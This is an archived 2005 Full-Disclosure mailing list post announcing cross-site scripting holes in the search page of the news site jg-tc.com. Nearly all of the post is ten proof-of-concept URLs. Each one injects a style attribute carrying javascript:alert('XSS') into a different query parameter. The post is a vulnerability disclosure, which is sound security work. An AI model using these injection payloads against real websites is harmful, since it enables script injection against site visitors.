full-disclosure - XSS www.jg-tc.com

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <f5cdeb1905081322275a1c5af@mail.gmail.com>
Date: Sun Aug 14 14:13:32 2005
From: jeff.peadro at gmail.com (Jeff Peadro)
Subject: XSS www.jg-tc.com

###########################-XSS-###############################

http://jg-tc.com/shared-content/search/index.php?search=go&o=0&l=XSS%22%20style=%22background:url(javascript:alert('XSS'))&s=recent&r=&d1=yesterday&d2=today&q=

http://jg-tc.com/shared-content/search/index.php?search=go&o=0&l=XSS%22%20style=%22background:url(javascript:alert('XSS'))&s=recent&r=&q=

http://jg-tc.com/shared-content/search/index.php?search=go&o=0&l=20&s=XSS%22%20style=%22background:url(javascript:alert('XSS'))&r=&d1=yesterday&d2=today&q=

http://jg-tc.com/shared-content/search/index.php?search=go&o=0&l=20&s=XSS%22%20style=%22background:url(javascript:alert('XSS'))&r=&q=

http://jg-tc.com/shared-content/search/index.php?search=go&o=0&l=20&s=recent&r=XSS%22%20style=%22background:url(javascript:alert('XSS'))&d1=yesterday&d2=today&q=

http://jg-tc.com/shared-content/search/index.php?search=go&o=0&l=20&s=recent&r=XSS%22%20style=%22background:url(javascript:alert('XSS'))&q=

http://jg-tc.com/shared-content/search/index.php?search=date&o=0&l=XSS%22%20style=%22background:url(javascript:alert('XSS'))&s=recent&d1=yesterday&d2=today

http://jg-tc.com/shared-content/search/index.php?search=date&o=0&l=20&s=XSS%22%20style=%22background:url(javascript:alert('XSS'))&d1=yesterday&d2=today

http://jg-tc.com/shared-content/search/index.php?search=date&o=0&l=20&s=recent&d1=XSS%22%20style=%22background:url(javascript:alert('XSS'))&d2=today

http://jg-tc.com/shared-content/search/index.php?search=date&o=0&l=20&s=recent&d1=yesterday&d2=XSS%22%20style=%22background:url(javascript:alert('XSS'))

Discovered by Jeff Peadro jeff.peadro [at] gmail . com
###########################-XSS-###############################